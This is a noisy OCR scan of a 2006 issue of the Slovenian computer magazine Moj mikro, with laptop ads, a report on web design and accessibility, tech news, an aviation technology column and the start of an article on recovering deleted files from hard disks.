GB - DVD zapisovalec Dual Layer - Zvocna
kartica Ac97 2.2 5.1 - PCMCIA 1 x Type II,
VGA DVGI izhod - Fax modem 56k -
mrezna 10/100/1000, WLAN - Serial
(Com-port), TV-out (HDTV podpora)
PS2, FireWire IEEE 1394 - S/PDIF out - 5
x USB 2.0, Drsna ploscica - Citalec kartic 4 v
1,Smart Li-ion baterija.

iy i veliso ob placilu 2 gotaving, Pridréuemo s pravico do spremernbe cen, Shike so simbolitng, napake so modne, Za preracunavanie valut se uporablia centralni pantetn teca; 1 EVROD=238.64 sit



Samedia 2006

IMENITNA SPLETNA MESTA

Pise: Katja Osljak

PRENOSNI
DIGITALNI SNEMALNIK

Sredi junija je v Londonu potekala
mednarodna konferenca $amedia 2006,
ki je eno najpomembnejSih sreCanj
strokovnjakov s podrocja spletnih mest
in aplikacij na evropskih tleh. Kot so na-
povedovali naslovi in povzetki predavanj,
je bilo veliko govora o grafi¢ni podobi
svetovnega spleta, brezhibnem delovanju,
dostopnosti in uporabnosti, ki morajo
uporabnika spodbujati, ne pa ga zaradi
povrSnosti in pomanjkanija sredstev (Casa)

|deja te prenosne naprave, ki je hkrati predvajalnik in
' snemalnik, ni Philipsova. Kupil jo je od nekega manjsega
| podjetja in uspelo mu je narediti izdelek, ki bo za priblizno
80 tisoakov na voljo jeseni. PMC 7230 premore trdi disk
| kapacitete 30 GB, na katerega lahko digitalno vsebino (vi-
| deo, glasho ali fotografije) prenesemo iz racunalnika ali pa
naprava tja sama shrani televizijski program, ¢e deluje kot
| digitalni snemalnik. V ta namen mora biti prikljucena na
televizor, nastavimo ji le Cas, kdaj mora zaCeti snemati. Za
| snemanje uporablja kodek MPEG-4 (kodek bolj stisne po-
datke, kar pomeni manj porabe prostora na trdem disku),
kar ni obi¢ajno pri danasnjih prenosnih napravah. PMC
7230 ima vdelan barvni zaslon z diagonalo, malenkost \
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pri nacrtovanju, oblikovanju in izvedbi odvracati od njega.

Imenitna podoba

Lepe spletne podobe si Zelijo vsi naro€niki spletnih mest. Ti se v svojih
prizadevanjih morda preveckrat osredotoCijo na njim vsecno barvo,
Crkopis, ki jim ga priporoCil znanec, in objavo velike koli¢ine fotografij,

z argumentom, da so te privla¢ne za obiskovalce. TakSna izhodiS¢a niso
nujno slaba, vendar se je treba zavedati, da oblikovanje graficne podobe
spletnega mesta zahteva veliko tehtnih odlo€itev in preizku$anja na
razli€nih ravneh, pri ¢emer je vedno treba upoStevati namen in cilje, s
katerimi nastaja nov spletni prostor.

Mreza (grid) je ogrodje spletnega mesta, na katero pozneje »napne-
mo« oblike, barve in vsebino. Na videz je popolnoma nepommebna ¢rt-
na skica spletne strani, razdeljene na polja. A v resnici so polja zarisana
tako, da bi kar najbolj rabila zaCrtanim ciljem. Avtorji pri oblikovanju
mreze obi¢ajno uporabljajo preizkusene vzorce s fiksno Sirino stolpcev, v
katere pozneje postavijo vsebino: besedila, naslove, gumbe, fotografije,
video posnetke . Na primer: ¢asopis New York Times (www.nytimes.
com) spletne ¢lanke izpisuje v enajstih enako Sirokih stolpcih, ki se po
potrebi zdruzujejo v SirSe vsebinske pasove. Popolnoma drugacen izziv
oblikovalcem pa pomenijo polja, ki se prilagajajo dimenzijam materiala,

krajSo od devet centimetrov.
wwwphil_ips._cor_n B

PHILIPS
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RACUNALNIK KOT ESTET

Raziskovalci so izdelali programsko opremo, ki je sposobna »nauditi
racunalnik« loCevati estetske fotografije od tistih, pri katerih fotograf ni
imel ravno srecne roke. Program naredi izbor na podalgi 56 kazalcev, med
katerimi so barvna nasi¢enost (saturacija), osvetlitev in kompenzacija.
Mozne aplikacije programa so v okviru samodejnega razvrs¢anja fotografij
v spletnih aplikacijah za izmenjavo fotografij, ko uporabnik Zeli videti le

kombinacije stolpcev s spremenljivo in fiksno Sirino ali celo polja, ki
spreminjajo razseznosti v vnaprej dolocenih razmerjih.

Tipografija je védenje o Erkopisih in dobri rabi ¢rkovnih vrst, ki jo
véasih spregledamo, ko se odlo¢amo, s katerim »kul fontom« bomo
uporabnika najbolj ocarali. Veliko lazje in boljse se bomo odlocali po
spoznanju, da vsaka ¢rkovna vrsta govori svoj jezik in vzbuja specifi¢ne
konotacije, ki pomembno vplivajo na dojemanje besedila. Berljivost, po-
ravnava besedila, presledki, razmaki med vrsticami, poudarjeno, lezece

najboljSe, ali kot del opreme digitalnega fotoaparata, ki bi amaterju Se pred
pritiskom na sprozilec povedal, da bi bilo morda bolje, ¢e bi vso zadevo
naredil nekoliko drugace.

——

ali podcrtano besedilo pa vodijo bralca skozi vsebino in mu sporocajo,

COMPAREX ODPIRA
PREDSTAVNISTVO

Skupina COMPAREX je odprla predstavni-
Stvo za Slovenijo v Ljubljani.. Podjetje je vo-
dilni sistemski integrator v Evropi z okoli 700
zaposlenimi in 350 milijoni evrov prometa.
Podjetje bo v Sloveniji vodil Ale$ LeskosSek,
ki je pred tem Sest let delal v podjetju IBM
kot vodilni strokovnjak v Sloveniji in med-
narodno na podrocju podatkovnih sistemov, .
varovanja podatkov, optimiranje virov in - 5
virtualizacije. Glavne odlike skupine COMPAREX so nalrtovanje reitev in
tehnologij za velike stranke in njihove podatkovne centre. Z ve¢ kot 30-
letnimi izkuSnjami na podro¢ju podatkovnih centrov ima COMPAREX veliko
znanja o potrebah in ovirah v takSnih okoljih, Se zlasti o fleksibilnosti,
varnosti in visoki zanesljivosti (The Availability Architects). Glavni gradniki
COMPAREX-ove strategije so infrastrukturne resitve, storitve in svetovanje.
www.comparex.si (promocijska novica)

Vsa zadeva je zanimiva
zaradi preprostega dejstva,
da je odgovor na vprasanje,
kaj je lepo, subjektiven in od-
visen od osebe, ki odloca. Ne
obstaja namre¢ matematicni
model ali standard, ki bi bil
lahko programu podlaga za
odloganije, kaj je lepo in kaj je
ne. Veljajo pa nekatera osnov-
na pravila, poznana vsem
fotografom, ki se jih morajo
drzati, in ki se jih drzi tudi

omenjeni program (kontrast,

struktura, perspektiva ...). Poleg tega so raziskovalci uporabili 3500 foto-
grafij, ki so jih nasli na spletnih storitvah za izmenjavo in so jih uporabniki
Ze ocenili. Vzeli so le fotografije, ki sta jih ocenila vsaj dva uporabnika in
katerih povpre¢na ocena je bila med 4,2 in 5,8 (od najvec 7). Nato so pro-
gram »naucili«, da je naSel skupne znacilnosti teh fotografij, kar je postala
osnova za njegovo sedanjo nalogo - dolo€ati, kaj je lepo in kaj ne.
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kako brati, kje se je vredno ustaviti in kje se da nadaljevati.

Skrbno pretehtane odlocitve glede mreze, tipografije in barv so izjemno pomembne za uspe$no
zakljucen projekt, vendar pa je za resni¢no imeniten dizajn treba stopiti iz okvirjev in se »oduciti«
vsega, Cesar smo nauceni. Andy Clarke tako priporo¢a opazovanje prizorov in kompozicij iz Cisto
vsakdanjega Zivljenja, ker nikoli ne veste, ali vam ne bo prav pogled na ¢ebelnjak, poletni travnik
ali bliznjo stolpnico prinesel odlicne ideje za va$ naslednji projekt!

Dostopnost

Zgodba o dobri uporabniski izkusnji se seveda ne more zakljuciti z graficno podobo, ne glede
na to, kako inovativna, atraktivna in odli¢na je. Poganjati jo mora dober motor spletnega mesta,
ki lahko premaga Se tako nenavadne okolisCine dostopa do vsebin. Nacrtovalci, oblikovalci in
razvijalci so se pomena dostopnosti za uporabnike z razlicnimi potrebami in v razliénih okolis¢inah
zavedali ze v zacetku devetdesetih, ko so spisali Web Content Accessibility Guidelines (WCAG).
Novejse smernice dostopnosti pa so zapisane v dokumentih s skupnim naslovom WCAG 2.0 in so
bile objavljene prav v letoSnjem letu.

PomembnejSe kot poznati vsebino omenjenega dokumenta je nacrtovati in oblikovati aplikaci-
je, pri katerih imamo ves ¢as v mislih uporabnika. Pravzaprav veliko razlicnih uporabnikov, tudi
slepih, slabovidnih, gluhih, naglusnih, gibalno ali drugace oviranih, ki jim npr. »lepota« majhne
pisave ne pomeni veliko, Ce je ne morejo prebrati oz. dovolj povecati, da bi ga lahko prebrali, ne
da bi pri tem graficna podoba dobesedno razpadla; kar pa je Ze naslednji vzrok za neberljivost. Se
tako perfektno oblikovano spletno mesto torej ni dovolj dobro, ¢e se v njem pojavljajo odstopanja
in napake zaradi razlicnih nastavitev, okolisCin ali nacinov uporabe. Zato se testiranje spletnega
mesta zares zacne, Sele ko se lotimo preverjanja za primere najbolj nenavadnih uporabniskih
scenarijev, na vseh obstojeCih brskalnikih, od izjemnih velikosti pisave, do izklopljenega CSS-ja in
uporabe bralnikov za slepe.

Trendi: uporabniki brez noénih mor

Imenitno podobo in dobro/visoko dostopnost spletnih mest vodi nacelo dobrih praks, s katerimi
uporabniku onemogo¢amo, da bi storil napako, in mu, ¢e do napake pride, omogo¢imo njeno hitro
odpravo. Poglejmo si to na primeru vnosa podatkov v spletni obrazec: Program lahko uporabnika
nemudoma opozori, da je vnesen elektronski naslov v napaénem formatu in mu takoj tudi omogogi
popravek; ne pa Sele nato, ko uporabnik sprozi akcijo za naslednji korak.

Mala pojavna (pop-up) okna, ki nas sprasujejo: »Ali ste prepricani, da zelite storiti to in to?«
v€asih postanejo no¢na mora za uporabnike racunalnikov in interneta. Pojavljajo se zelo pogosto
in mnogokrat na mestih, kjer sploh niso relevantna, saj tudi napacna poteza uporabnika ne bi
povzroCila Skode. Nau€imo se sprejemati uporabnike kot tiste, ki veliko bolj kot programska opre-
ma vedo, da »resni¢no Zelijo izbrisati to datoteko«. V ve€ini primerov bi bilo veliko prijetneje in
enostavneje opravljati delo brez »skakajocih nadlogic«, namesto katerih bi lahko razvili zanesljivo
orodje za razveljavljanje tistih redkih pomotoma sprozenih akcij.

Izpolnjevanje nastetih smernic spletne ustvarjalce postavlja v zelo zahteven polozaj, kjer je treba
premisliti in najti odgovore na mnoga vprasanja ter prav toliko pozornosti, kot je namenjamo izdelavi,
nameniti testiranju ter preverjanju dostopnosti v vseh moznih okolis¢inah. Na to nas opozarja tudi
Yahoojev »tehni¢ni evangelist« Nate Koechley, ki se z grenkim nasmehom na obrazu spominja jutra
po objavi prenovljenega spletis¢a Yahoo! (www.yahoo.com). Prebudil ga je ogorcen telefonski klic, ker
spletne strani niso bile dostopne v brskalnikih Safari in Opera ... Ups, dogaja se tudi najvecjim, ni kaj!

~mmmms . MICROSOFT OFFICE 2007
BETA NA MIKROCD-JU

Poletje je €as, ko se lahko malo sprostimo in morda tudi pre-
izkusimo kaj novega. Zakaj to ne bi bila recimo nova pisarniska
zbirka Office 2007 ali kot se uradno imenuje 2007 Microsoft
= Office System. Na voljo je seveda beta razli¢ica, saj kontne
Ietos Se ne pr|caku1emo A ker gre za zelo pomemben paket, ga je dobro pre|zku5|t| in se malce
seznaniti z njim Ze zdaj, saj prinaSa precej novega, zlasti kar zadeva uporabnisko izkusnjo. A o tem
smo Ze veliko pisali.

Tako vam preostane le to, da celotno stvar Se preizkusite. Microsoft Office 2007 lahko namestite
namesto obstojeCega Officea, lahko pa tudi vzporedno in tako neposredno primerjate, kako se raz-
likuje od prej8njih razlicic. Beta razli¢ica na naSem MikroCD-ju bo delovala do 1. februarja 2007,
tako da boste imeli dovolj ¢asa za raziskovanje in privajanje.

Kaj pa namestitev? Preden namestite program, morate pridobiti registracijsko stevilko. To do-
bite tako, da obi$Cete spletno stran http://www.Microsoft.com/emea/Office2007beta/79/, se tam
registrirate in izpolnite kratek vprasalnik, nato pa boste po elektronski posti dobili svojo registracij-
sko kodo. Kodo vpiSete ob namestitvi paketa, po kon¢ani namestitvi pa izdelek, kot je Ze obicajno,
aktivirate.

KRALJ JE MRTEV,
ZIVEL KRAL}!

ill Gates bo cez dve leti zamenjal prioritete
stojega Zwljenja. Namesto da bi se predvsem

posvecal Microsoftu, bo poslej na prvem mestu
humanitarna fundacija, ki sta jo ustanovila skupaj
z %eno Melindo. Pa kaj potem? Clovek je dovolj star
in ima dovolj denarja, da gre v pokoj. Podjetje, ki ga je
ustanovil, bo preZivelo tudi,, ce in ko se bo popolnoma
umaknil. Pa Se v tem primeru bo ostal Microsoftova
ikona, s katero se bodo hoteli vsi pogovarjati. Ravno
v tem je sr¥ problematike. Microsoft je Ze dolgo Casa
prevelik, da bi ga obvladala ena sama oseba. V
ozadju so ljudje, ki dejansko vodijo Microsoft, a ko
je treba javno nastopiti, to najveckrat pocne Gates.
Spominjam se raznih sefmov in prireditev, kjer so
vsi prisotni drli na Gatesovo predavanje kot verniki
v cerkev, nato pa jih je vecina zaneseno ploskala in
mu skandirala tudi v primerih, ko ni povedal ni¢
pametnega. Slo je za regirane Sove, kjer je Gates
prodajal kot svoje to, kar so sicer na podlagi njegove
vizije dejansko »naumile« skupine genijev, ki mu jih
je uspelo privabiti v svoje podjetje. Gatesu je uspelo
veliki korporaciji vdihniti osebnost, kar je njegova
PR-ekipa skrbno negovala in kar mu je prineslo
svetovno slavo. V' tem mu vsaj delno ob boku stoji
Steve Jobs iz Appla in zanimivo je, da ju poxna ves
svet — tudi busmani v Kalahariju. Preostali direktonji
in ustanowitelji znanih I T-podjetij so se morali
zadovoljiti s slavo in priznanji zgolj wnotraj IT-javnosti.
Z umikom Gatesova svetovna slava in prepoznavnost
ne bosta niti malo trpela — tudi za to, ker bo deloval na
humanitarnem podrocju in pomagal vsemu svetu in
ne zgolj lastnemu narodu. Upam staviti, da bo moral
Gates tudi po letu 2008 odgovarjati na vprasanja,
povezana z I'T-jem. Morda bo teh celo ve¢ od
vprasanj, povezanih x njegovo humanitarnostjo.

Nié& ne kage, da bo Gatesov odhod kakorkoli
prizadel Microsoft, nasprotno, analitiki ne
predvidevajo tefav in tudi borze se (3e) miso odzvdle.
Edina nevarnost za novo vodstvo je Gatesova
senca, v kateri bo Microsoft Se dolgo. Veliko je
posameznikov, ki so sposobni »iznajti« nove trende,
le malo pa jih je takih, ki jih znajo »prodati«. Gates
je s svojo karizmo kraljeval na tem podrocju in
konkurenca mu je lahko le sledila. Past, v katero
se lahko ujame Microsoft v prihodnost, je %e
nastavljena. Ce bo podjetje Se vedno ustvarjalo
trende, za kar potrebuje karizmati¢ne in
prepoznavne posameznike, se mu kaj drasticnega
ne more pripetiti. Ce bo na izpraznjeno mesto stopil
nekdo iz konkurencnega podjetja, na primer Googla,
pa se Microsoftu dolgorocno ne pise ni¢ dobrega!
(Marjan Kodelja)
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MSI priporoéa Microsoft® Windows® XP Professional

www.msi.com.tw

MSI 12,7” MEGA Book S270B MSI 12,1” MEGA Book S270W MSI 12,1” MEGA Book S271

Eleganca in izjemna prenosljivost Eleganca in izjemna prenosljivost Eleganca in izjemna prenosljivost

+ procesor Mobile AMD® Turion™ 64 + procesor Mobile AMD® Sempron™ + procesor Mobile AMD® Turion™ 64 X2
Microsoft® Windows® XP Home « Microsoft® Windows® XP Home » Microsoft® Windows® XP Home/Professional
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+ procesor Mobile AMD® Sempron™ + procesor Mobile AMD® Sempron™

+ Microsoft® Windows® XP Home + Microsoft® Windows® XP Home

+ 15,4"WXGA, max. locljivost 1.280 x 800 + 17,1"WXGA + Super Glare LCD zaslon

priloZzena torba in opti¢na miska « priloZena torba in opti¢na miska

2,9kg 3,1kg
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procesor Mobile AMD® Turion™ 64
Microsoft® Windows® XP Home
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FOTOGRAFIRANJE | =
UMETNISKIH DEL : =
Fotografiranje umetniskih slik z namenom digitalnega arhiviranja ali E e
reproduciranja (objava v knjigah, na plakatih ali na spletnih straneh s e
virtualnega muzeja) je tezasko delo, Ce Zeli fotograf pri€arati vsaj pri- =
blizno podoben obcutek, kot ga obiskovalec dozivi v muzeju oziroma
galeriji. Fotograf poskusa »zajeti« kompleksen medsebojni vpliv med
svetlobnimi razmerami, umetniskim delom in opazovalcem. Uspe le
»odli¢nim« fotografom, pa Se ti morajo za to posneti veliko fotografij.
Pri delu se je treba odloCiti, kako sliko osvetliti in kje postaviti foto-
aparat, velikokrat pa tezave povzro¢a nepoznavanje geometrije slike
— kako vsak njen del absorbira ali odbija svetlobo.
Znanstveniki instituta RIT (Rochester Institute of Technology)
nameravajo ta problem resiti. Cilj njihovega projekta je izdelava na- o . a
1= lg B .

prave, ki bo sposobna zajeti geometricne in spektralne (svetlobne)
podatke slike. To zahteva »razdelitev« slike na osnovne opticne dele
(blueprint), kar prepreci subjektivne vplive izvora svetlobe in prostora,
v katerem je slika. Dobljene podatke z matemati¢nim modelom obdela
racunalnik in ustvari »umetne fotografije« umetniskega dela, kot bi
tega gledali z razlicnih kotov in v razliénih okoljih. V prvi fazi projekta
bodo izdelali instrumente, s katerimi bodo merili geometri¢ne in pros-
torske lastnosti »umetniskih« materialov glede na njihovo svetlobno
geometrijo, in posredno zgradili zbirko podatkov. V naslednji fazi pa
bodo izdelali napravo, ki jo bodo lahko pri delu uporabljali profesional-

ni fotografi.
www.cs.rit.edu

OBE'IOffice.org 2.0

Odgovorite

na nagradno
vprasanje in
lahko posta-

NX 4 — VRHUNSKA RESITEV
CAD/CAM/CAE

NX4 je trenutno zadnji korak v razvoju sistemov CAD/CAM/CAE. Prve
razli¢ice programa NX so temeljile na zdruzevanju programov Unigraphics
in |-deas. Jedro programa NX tvori Unigraphics s svojimi reSitvami na
podrocju CAM (Computer Aided Manufacturing - raunalnisko podprta
proizvodnja). Okoli tega jedra pa so znanja iz programa I-deas. Na podro-
¢ju CAD (Computer Aided Design - racunalniSsko podprto oblikovanje) se
tako program posebej razvija v smeri poenostavljanja ukazov in zmanj-
Sevanja potrebnih korakov za njihovo izvedbo. Uporabniski vmesnik je v
vseh aplikacijah (modeliranje, delo s plocevino, sklopi, izdelava tehni¢ne
dokumentacije ...) do uporabnika prijazen. Knjiznica reSenih vaj (CAST-
Computer Aided Self Teaching) pa omogoca, da se vsak uporabnik osno-
ve programa nauci sam.

Prvi del razvoja je prinaSal novosti na podrogju CAD. V predzadnji
razliice pa se je zaCel poglobljen razvoj modulov CAE (Computer Aided
Engineering - racunalnisko podprto inZenirstvo). Tako so osnova vseh
izraCunov matematicni algoritmi programa NX Nastran, ki so na podrocju
analiz razli¢nih konstrukcij v svetu dale¢ najbolj razsirjeni pri najzahtev-
nejSih uporabnikih (letalstvo, avtomobilska industrija, ladjedelnitvo itn.).
Poleg analiz MKE omogocta NX4 tudi analize gibanja, termi¢ne analize,
analize dinamike teko€in ... Tako se lahko pomembno zmanj$ajo stroski
izdelave prototipov.

Vso geometrijo, ustvarjeno v programu NX, lahko z integriranim in
asociativnim modulom CAM z optimalnimi parametri NC-obdelav hitro
in ucinkovito izdelamo. Pri tem uporabimo postopke, ki so obi¢ajni v
orodjarstvu (npr. vodilni modul HSC za obdelave z visokimi hitrostmi) ali
postopke, ki so obi¢ajni za serijsko proizvodnjo (vecfunksijske obdelave,

Brezplaéno do paketa
J nete dobitnik ~ predvsem struzenje/frezanje). Ker vzame dolocanje tehnoloskih para-
slovenskega OpenOfflce.org 2 ’O pisarniskega metrov programerju najve¢ Casa, hkrati pa je to delo monotono, utrudljivo
paketa Ope- in zato izvor mnogih napak, ima program NX 4 za to predvideno zbirko
nOffice 2.0. rezalnih podatkov za vse glavne orodne predstavnike in oplas¢enja. Ti
podatki so izkustveni in niso prepisani iz katalogov proizvajalcev orodij.

Odgovore posljite najkasneje do 20. 8. 2006 na elektronski naslov
info@mojmikro.si ali po posti na nalsov
Urednistvo revije Moj mikro, p.p. 29, 1509 Ljubljana - CZP Delo

Nagradno TehnoloSko zbirko si lahko uporabnik sproti usklajuje izkustveno, v
vprasanje skladu z delovnimi razmerami. Vsi tako pridobljeni rezalni parametri za
e ok se glasi: vse operacije, se pri rednem delu samodejno prenasajo v CNC-program,
primee Nastejte vse potem ko uporabnik prej doloi parametre, kot so: material rezkarja,
Naslov: komponen- material surovca,
te paketa strategijo obdelave in
OpenOffice. podobno.
'“"M'ho Davtna Stevilka: ore 2 P Kot inovativni raéunalniski sistemi d.o.o.
pomo¢ po- il ST S0
ODGOVOR: vejmo, da jih  wwwits-plm.si/ P'_'“"f"'“?“a zascn_ta
je Sest. (promocijske novica) JifoQIres:s) wWw.aVy. 51
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Tehnoloski
in cloveski dejavnik

Pred kratkim se mi je znanec oglasil iz ZdruZzenih drzav Amerike, kjer je obiskal akademijo, kjer

se izobrazujejo vsi kadri v letalstvu. Sporocila niti nisem prebrala do konca, pa sem ze zacela
vohljati za novostmi, za katere sem prepricana, da mi jih lahko ZDA vselej postrezejo ...

PiSe: Tanja Cavlovi¢
tanja.cavlovic@mojmikro.si

mu zavidala upravljanje z boeingom 747,
seveda samo izobraZevanje na zelo zelo dragem
simulatorju, do katerega nimajo vsi dostopa.
Obiskal je tudi kontrolni stolp v Miamiju, na
katerega so Americani zelo ponosni, ker naj
bi bil trenutno eden najsodobnejsih na svetu,
inpo 11.9. je bila njegova skupina prva z
neameriskimi &lani, ki so imeli to Cast.
Pritegnila me je novica, da ta sistem
omogoca samodejno izogibanje letal
drugim letalom (Traffic Collision Avoidance
System). Doslej ga je pilot lahko uposteval le v
najnevarnejsih primerih, kjer je bila res velika
mo#nost tréenja z nasproti letecim letalom.
Sistem je pilota opozoril na nevarnost in
predlagal resitev, ki jo je lahko pilot uposteval
ali pa ne. V prihodnosti pa naj bi ta sistem
wvedli kot uraden, naj bi deloval samostojno
in v nevarnosti sam prevzel nadzor nad
letalom, se skusal izogniti nasproti vozecemu
letalu, &e tega ne bo prej storil pilot. Da bi
bilo to izvedljivo, morata sistem imeti TCAS
obe letali. O mo¥nih napakah in pripetijah pri

Njegow izlet je bil kar pester. Najbolj sem ‘
|
|
|

ilustracija: Marko Skerlep

toliko kot vsaka povprecna splosno izobraena
oseba, ki v&asih na Discoveryju pogleda vedno
znova predstavljano lestvico 10 najboljsih
vojaskih letal. Te novosti v vojaskem letalstuu
pa se vedno posodabljajo, zajemajo vse ve¢
racunalnisko-komunikacijskih resitev. In to je
tisto, kar mi je s tega podrocja najzanimivejse
in me najbolj fascinira.

OK, Americane imamo %e vsi za malce
sumljive glede vojaskega podro&ja, bogsigavedi,
kaj vse izumljajo in naklepajo. Ko pa pricurlja
kaksna novica do nas, nam je pa& zanimivo.
Grogljivo se mi zdi to, da ti sploh ni treba biti
prevec izobragen, samo letalo mora¥ wati
dobro pilotirati, da si ameriski vojaski pilot.

Vrhunec tehnologije se mi xdijo
racéunalnisko vodene rakete. Ne vem,
kaksnemu nasemu vojaku se najbr¥ ne zdijo
ni¢ posebnega, lahko da jih imamo tudi v
Sloveniji, a jaz sem kar impresionirana.
Taksno raketo lahko pilot spusti e 100 km
dale¢ od cilja, pa se raketa %e sama znajde. Ker
50 v racunalnik vpisane koordinate, jim raketa
sledi, uposteva tudi vse hribe in doline. Rakete

tem se nam domisljija lahko razbohoti, toda
poglejmo Se drugo zanimivost.

Tehnologija ADS-B (Automatic Dependent Surveillance Broadcast)
pilotom in kontrolorjem letenja omogoci ogled zraénega prometa s
skoraj natancno grafi¢no podobo. Letalo, opremljeno s sistemom
ADS-B, digitalno predvaja svojo natanéno lego, skupaj s podatki o hitrosti,
s katero se priblifuje, visini letenja in o tem, ali se obraca, vzpenja ali
spusca. Sprejemniki ADS-B, namesceni v kontrolni stolp in v druga letala,
uporabnikom prikagejo natanéno sliko trenutnega stanja, v zraku in na tleh.
V primerjavi s standardnimi radarji ADS-B posreduje podatke o razmerah
»tik nad tlemi« pa tudi na tleh, zato je uporaben za porocanje o stanju na
stezah za razursanje, vzletne steze na letaliscih, pa tudi v hribovitih predelih,
kjer radar ne zazna vsega. ADS-B dolo¢i natancno tocko letala v prostoru
prek satelitskega globalnega pozicioniranja. To nato pretvori v digitalno
kodo, ki vsebuje tudi podatke o tipu letala, hitrosti, Stevilki leta in o tem, ali
se vzpenja, spusca ali obraca. Ta koda se posodobi nekajkrat v sekundi in
se predvaja iz letala na diskretni frekvenci, imenovani datalink. Predvajano
informacijo prejmejo wsa letala in kontrolni stolpi v krogu 93 kilometrov. Ta
sistem naj bi Ameri¢ani trenutno testirali na Aljaski.

Kot mi je v e-posti sporodil prijatelj, je opazil, da Ameri¢ani radarjem
in racunalnikom zaupajo veliko bolj kot mi. Pri nas je bistvo kontrole iz
stolpa fizicno opazovanje
letal. Usmerjajo letala, ki jih je iz stolpa mogoce fizicno videti. V Miamiju
kontrolor na zemlji sploh ne vidi, kaj se z letali dogaja, kje so, »ali vletajo
ali se spuscajo, se kadi za njim ali je vse OK«, kot je napisal moj znanec,
temwed le opazujejo zemeljski radar, kjer je odsew letal. Tega radarja v
Sloveniji nimamo. Niti za pomo¢ pri delu, kaj 3ele, da bi delali izkljucno na
podlagi njegovih podatkov.

O wvojaskem letalstvu ne vem veliko, mi je pa nekaj rei zanimivih. Vem

vsebujejo svoj GPS. Torej, pameten moras
biti toliko, da pred poletom preveris koordinate
kraja, ki je tokrat twoj cilj. Ce ima ameriska vojska tam svojo pehotno enoto,
potem vojak iz te pehotne enote, da bo »za ziher«, najprej z laserjem (najbrg
iz orogja) oznadi mesto, kam tocno naj raketa pade, kar je Se ena, Se boljsa
zagotovitev, da bo raketa res zaznala pravo tocko in pristala na mestu, ki ji je
namenjeno na kaksnem terenu, ki bi sicer zaradi razgibanosti lahko zgresila.

Potem je tukaj Se primer, ko ti je »za petami« letalo z raketo, ki se ne
uravnava po izvoru toplote, ampak po radarju letala. Raketa ne leti v
ravni &rti, temwed po potrebi zavije, se spusti, dvigne, te spremlja ... Ko
sem to izvedela, je seveda bila moja prva predpostavka: »Ja, potem si pa
pecen! Ni pomoci! « Sledil je odgovor, da se je mogoce vseeno nekako resiti z
dodatnimi vabami, ki imajo vir toplote, na katere se potem raketa usmeri.

No, za tiste malo pametnejSe ameriske vojaske pilote, so zbrali satelitske
posnetke in ustvarili 3D-zemljevide. V teh primerih vojak pred poletom
nalogi v racunalnik remljevid do podro&ja, ki mu je tokrat cilj, doloci, ob
kateri uri se bo predvidoma priblizal cilju od vzleta, in potem sprogramira,
da kaksnih 50 km od koordinate spusti raketo. Zemljevid se mu med letom
predvaja na OSD-zasloncku, ki je pritrjen tik pred kotickom ocesa, da ga
lahko sproti spremlja, istocasno z realno sliko iz svojega letala.

Seveda nisem za to, da napravam zaupamo toliko, da vse delajo namesto
nas. Se zlasti ne vojaskim letalom. Nekaj zanimivih in seveda izmisljenih
primerkow teh si lahko ogledamo v nekaterih razvpitih ameriskih filmih, kot je
Stealth. Sem pa za to, da izkoristimo elektroniko, racunalniStvo in znanja na
drugih podrocjih, kolikor se le da. Naj nam bodo v pomoc, &e so e tu in na
voljo za uporabo. Zakaj bi se otepali necesa, kar je domena nekoga drugega,
radovednost je vedno dobrodosla. Prepricana sem, da so vzrok nesre¢ v vedji
meri Cloveski dejavniki, ne pa napake v elektroniki, v racunalniku ali drugih
napravah, kar tako pogosto zapiSejo v porocila. M
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aCunalniki
Sarijo po di-
sku skoraj ne-
pretrgoma, ne le
takrat, ko ukafemo shranje-
vanje podatkov ali njihovo
nalaganje. Velika ve&ina aplika-
cij namre¢ zelo aktivno »sodeluje«
s trdim diskom tudi med delom, ko
zapisujejo za svoje delovanje potrebne ¥
podatke v zacasne ali arhivske datoteke
in jih, ko jih ne potrebujejo veg, tudi periodi¢no
brisejo.

Teh podatkov, in pa seveda tudi tistih, ki jih
ratunalnik »zbrife« na naSo zahtevo, operacij-
ski sistem »fizi¢no« ne odstrani z diska. Kot
bomo videli kasneje, odstrani le povezave do
njih, in, vsaj dokler jih ne prepiS§emo z novimi
podatki, jih je mogo&e z ustrezno programsko
opremo obnoviti. Na disku lahko ostanejo deli
ali celotna izbrisana datoteka, Se dlje asa pa
preZivijo podatki o izbrisanih datotekah (file at-
tribute). Oboje lahko postane varnostna groz-
nja, e tak disk (ali celoten racunalnik) bodisi
prodamo kot »staro Saro« ali nam ga ukradejo.
V skrajnem primeru, kar je odvisno od razli¢nih
okolisgin, je tudi po daljSem ¢asu mo¢ obnovi-
ti datoteke. Ce gre za pomembne ali $kodljive
podatke, nam lahko to povzro¢i kar nekaj pre-
glavic. Onstran meja naSe drzave Ze obstajajo
specializirana podjetja, katerih dejavnost je
preprodaja raunalnikov iz druge roke. Bistve-
na naloga teh podjetij pri obnavljanju starega
racunalnika je tudi popoln izbris vsega, kar je
imel bivsi uporabnik ra¢unalnika shranjeno na
trdem disku. Pri nas takih podjetij Se ni in v
vecini primerov prodajalci (domaci uporabni-
ki) kar sami izbriSejo disk. Ve&ina od njih to
naredi povr$no, z ukazi operacijskega sistema
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in ne z ustreznimi
dodatnimi programi.
Kljub  nasprotnemu
miSljenju, formatira-
nje diska, ponovno
oblikovanje particij
in celo formatiranje
na nizkem nivoju
(low level format), ne
tkov. Tako na disku
ostanejo datoteke, ki
jih dovolj izobrazen
kupec lahko obnovi
in prebere. Malce se
zamislite. Kaj se Ze
lahko dogodi, ¢e ne-
kdo pride do vasih
osebnih  podatkov,
Stevilk kreditnih
kartic ali pa celo do
shranjenih  dokazov
vase posteljne dejav-
nosti! Kot naroceno
za rumeni tisk, ¢e ste
le malce bolj poznani
v svoji okolici in po-
temtakem zanimivi.

Duhovi

na trdem
disku

Ce mislite, da ukaza »briéi datoteko« in nato praznjenje »kosa
za smeti« nepovratno zbrideta datoteko s trdega diska, se
mocno motite. Izbrisane datoteke oziroma njeni deli namrec
»prezivijo« in jih je moc tudi ez veC let ponovno obuditi

v Zivljenje. Kot nekaksne elektronske duhove. Zakaj? Mar
brisanje s trdega diska ni to, kar beseda dejansko pomeni?

PiSeta: Marjan Kodelja in Zoran Banovi¢
marjan.kodelja@mojmikro.si, zoran.banovic@mojmikro.si

Povrsina trdega diska pod mikroskopom. Ker zapis novega bita
podatkov nikoli ni na popolnoma istem mestu kot stari podatek, se
na robovih pojavijo sledovi prejsnjih bitov podatkov, shranjenih na
tem mestu.

Zbrisanih podatkov operacijski sistem

»fiziéno« ne odstrani z diska, temvec
odstrani le povezave do njih, in, vsaj dokler
